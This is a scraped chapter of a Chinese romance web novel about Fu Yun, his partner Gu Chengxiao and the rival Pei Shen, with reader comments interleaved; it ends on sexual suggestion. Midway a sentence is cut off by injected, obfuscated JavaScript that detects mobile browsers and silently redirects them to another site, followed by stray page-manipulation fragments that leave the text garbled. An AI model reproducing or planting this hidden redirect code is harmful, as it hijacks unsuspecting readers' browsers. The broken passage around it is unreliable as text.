符云背靠着木门侧头，平静地对浴室外的顾承骁撒谎，此刻镜子上的水雾已经彻底气化，完整地映照出他和裴慎相互钳制极不和谐的模样，针锋相对中又暗暗地泌出些许叫他恶心的暧昧，是那种明明原香已经足够浓重，却又再次添加了暖意香精的作呕味道。


    【好刺激！攻妹我舔舔舔！】


    【云朵就这么和老公隔着一扇门，然后被裴慎水灵灵地啄了，如果直接do就好了（bushi）】


    【顾哥你说什么呢 ，唇膏涂多了给嫂子匀点儿而已，最近嘴有点干哈哈哈……】


    【不敢出声男主要发大疯的】


    【不是你们就这么叛变了？前一段剧情还说要狠狠举报主播的，前前一段剧情还说攻作精的，前前前是谁骂主播装货……？】


    【被主播美貌折服，其实大家只是嘴上说说而已啦，抱怨一下不合理的剧情，真到实事上云朵才是我们视角的主角】


    【就要看我们的主角幸福！】


    顾承骁没能彻底松了这口气，他试着推了下被锁紧的门，又在外头拧了几下门把手，开门无果后才温声哄着说:“没摔倒就好，洗澡也不能洗这么久，没事的话云朵快出来吧，这两天我好好陪你，好吗？”


    “……”


    “我错了，今天被灌酒灌得有点多，不该这么晚才回来，你别藏在叫我没办法看见的地方……”顾承骁等了片刻:“别叫我担心，好不好？再不开我要拆门了。”


    “老公。”


    符云轻声道:“我没穿衣服。”


    顾承骁问:“没拿睡衣吗？”


    符云:“嗯。”


    顾承骁道:“在家里你裸着出来也没事，我拿衣服裹住你，不会冷的。”


    符云有些不耐烦:“你帮我拿。”


    或许是听出了门内少年的语气逐渐带上了焦躁的小脾气，顾承骁只能连连应声答应去帮他拿睡衣，随着细微的脚步声远去，符云静静地听着更衣间的门在十五秒后被打开，他迅速地推了裴慎一把:“滚蛋！快点儿！”


    裴慎笑道:“你怕他发现？”


    符云撇了他一眼，当机立断脱了被水沾湿的衣服在手里转着捏了捏，团成一个巨大的团子猛地塞进了裴慎的嘴里，堵住了这个男人接下来的所有发言:“我警告你，顾承骁发没发现是一回事，如果你敢故意把我们今天的话透露出去，他不打死你我先弄死你！”


    裴慎把塞了一团的衣服扯出来，揉了揉被符云那股劲弄疼的腮帮子:“好啦嫂嫂，我不会让你难办的，待会儿你先出去，等你和他回卧室了我再走。”


    符云点了下头。


    “不过嫂嫂，我还是希望你能够……考虑一下我，我也很不错的，不比顾承骁差。”裴慎退开两步看了眼少年赤裸的上身，他晃了晃手里的衣服:“见面礼，就当是你送给我的了，云朵。”


    “还有，别伤害自己。”


    符云忍不住笑了一声，浴室暖灯下他原本有点儿不近人情的长相显得较为柔和，水汽打在他的侧颊处像是叫人心疼的眼泪，可只有在看见他的眼神的那一瞬间，裴慎才恍惚从这种虚假的温情爱意中回神——他眼里明明是毫不掩饰的讽刺。


    “其他人”在符云眼里大概都是这样。


    看起来软乎乎的很好相处，笑起来眼睛会弯成小月牙，像只会对所有他认为的好人展露肚皮的小猫一样，可直到真正靠近了，就会被扎得满身都是刺，能真正触碰到他心脏的人寥寥无几。


    其实很难相处。


    他喜欢的分明是顾承骁嘴里那个叫他忍不住想要去了解的少年，不应该是这样的云朵，但裴慎以强势靠近的态度分明感觉到:如果在此刻看见符云满身的刺选择放弃，那么他终其一生大概也只能看见这样的云朵了。


    ……


    ……


    少年穿着印花睡衣屈膝坐在椅子上，略长的头发几乎盖住了肩膀，他低头拿着电容笔在平板上熟练地更新这个星期的漫画，完全没有注意到自己的睡衣已经悄悄地松了一个扣子，瘦削的肩膀裸露出来，下一秒被一只手覆盖住。


    【乖乖画画的小猫咪啊简直】


    【感觉云朵在酝酿什么风暴，毕竟裴慎说的那件事好像还没问主角，像定时炸弹一样，指不定什么时候就引爆了】


    【剧情走好快啊，我还在回味刚才云朵那个看狗的眼神，自负自傲但是在喜欢的人面前就软乎乎的，反差萌萌的】


    【攻被人亲了不算不洁吗？也不诚实地告诉受，至少受还没做那些事呢，感觉有点不公平（个人看法）】


    【楼上有狗在叫】


    【受都明确表示“怎么可能娶攻”了，这算不算首先精神出轨？算不算欺骗？上上楼回答，亲脸而已裴慎又没吃攻妹的##*&】


    【什么话这么糙？被系统屏蔽了】


    “嗯？”符云手里的笔顿了顿，瞬间在平板画布上留下了一个黑色的点，他盯着这片脏污看了看，缩小图片发现正好形成一颗长在侧脸处的痣:“好巧啊。”


    顾承骁顺着少年的衣服探入进去，轻轻地捏了捏他的软肉，抱着符云在他背后问道:“怎么了？是不是我打扰到你了？”


    符云:“是。”


    “对不起，”顾承骁贴了贴他的耳朵:“但是今天太晚了，不画了行不行？我先前和一个动漫公司谈了合作，要不然你和现在这个平台解约，我给你找新的路子。”


    符云道:“不会做动漫。”


    顾承骁低头咬了口他的颊肉:“不用你去做，就当个挂名好了，偶尔出一出角色形象什么的，平时不忙工资也高。”


    “比你现在这样熬夜要舒服很多。”


    符云捏着笔沉默，他实在是没兴趣和人相处，很大一部分原因就在这里——有些人听不懂话，拒绝一次两次就算了，再多说他真的不耐烦，会把所有的关系瞬间搞砸。


    顾承骁不一样。


    喜欢他。


    所以就算顾承骁前前后后提这件事提了不下十次，符云也没有过多表现出生气的意思，他想了想，道:“我画画跟你没关系。”


    “你不要说了。”


    符云自以为已经足够委婉，但他的语气任谁来听都是冷冰冰的，仿佛要和人彻底划清界限一样，所幸顾承骁早就已经习惯了他时不时地非常黏人，又时不时地冷漠无情，这种反复无常，确实不是普通人能受得了的。


    顾承骁握住他的手:“怎么又跟我没关系了？我之前看你的漫画收益，感觉也没赚多少钱，累得很又伤身体，那个总是给你打赏的人，一年算下来的钱不敌我给你一张卡，图什么呢？”


    “……”


    “嗯？还是你不


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14981854|161491||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    舍得这些读者？”


    符云没忍住，一把将他的手打向一边发了脾气:“谁给我打赏多少钱和你有关系吗？榜一是我之前在学校的学长，他作为普通朋友都能支持我的漫画你为什么总是要我辞职？能不能有点边界感别问我的工作，你烦不烦？！”


    顾承骁道:“那些赚不了多少钱，你身体肯定吃不消，忘了上个月你在家里晕倒的事了？我要是没及时赶回来你怎么办？”


    符云冷冰冰道:“不怎么办，我死。”


    顾承骁:“别说这种话。”


    符云再也没心思画今天这个新角色了，他扔了电容笔嘲讽道:“你以为谁都和你一样？”


    顾承骁皱眉:“我怎么？”


    符云骂道:“你有钱你上大街上撒。”


    顾承骁软下声音哄道:“给你花。”


    符云:“这是一回事吗？”


    顾承骁:“我不想你那么累，你就不能理解理解我？我关心你的身体而已，正好手里有对应的关系，想给你用用也不行？”


    “这么难伺候。”


    符云冷声道:“那你就别伺候。”


    叮咚——


    顾承骁的手机屏幕亮了亮，他一手抱着符云，一边伸手拿起来自己的手机看了眼消息，随即轻声问道:“明天请的厨师要我们点菜，云朵想吃什么？”


    符云道:“中餐，要甜汤。”


    “那就家常菜，还是那几样吧。”顾承骁回了消息，把手机一甩继续道:“我不伺候你还能伺候谁？你这是又发什么脾气？”


    符云反手推他:“受不了滚蛋！”


    “你去找个好伺候的，和我在一起干什么？！你不是早就知道我是什么脾气了吗？我也没瞒着骗你，早就说过我不是什么好相处……”


    他的声音骤然停住了，符云抿唇看着眼前凭空出现的晃晃悠悠的小挂件，喉咙里的话像是堵塞了一样再也说不出来。


    这种装饰品在国内好买，但是早十年的老物件，一个很冷门的动漫q版形象画，正版万金难求，符云早些时候在网上看见了和顾承骁只提了一嘴，后面就当没这回事忘记了。


    没想到能在此刻看见。


    “绳子上给你串了金珠子，前两天才刚找到的，老公给你这个能不能保证两天不生气？”顾承骁笑着低头，见符云不回答，又改口道:“一天，一天不生气好不好？”


    符云把那个挂件握在手里，半晌后才低声道:“我早就忘了这个东西了，还有，我们刚刚在吵架，你不要觉得……”


    “吵架而已，多正常。”


    顾承骁把人抱起来搁在旁边的大床上，手指一颗一颗地把他的睡衣扣子解开，托着少年纤细的腰身温柔哄道:“吵架归吵架，又不是不爱你了。”


    “以后不能说那种话。”


    符云仰头看着他:“就算我难伺候，你也不会去找别人，对吧？你发誓给我听，老公。”


    “好。”顾承骁笑着举起手指:“我发誓，就算小云朵再难伺候，我们吵多少回架生多少次气，我都不会去找别的好伺候的人，不然就让我死于非命。”


    符云盯着他看了一会儿，张开手臂抱住面前的顾承骁，用脸颊蹭了蹭男人坚实的胸口，撒娇道:“老公抱抱。”


    “我今天想做好多次，我们做到天亮好不好？”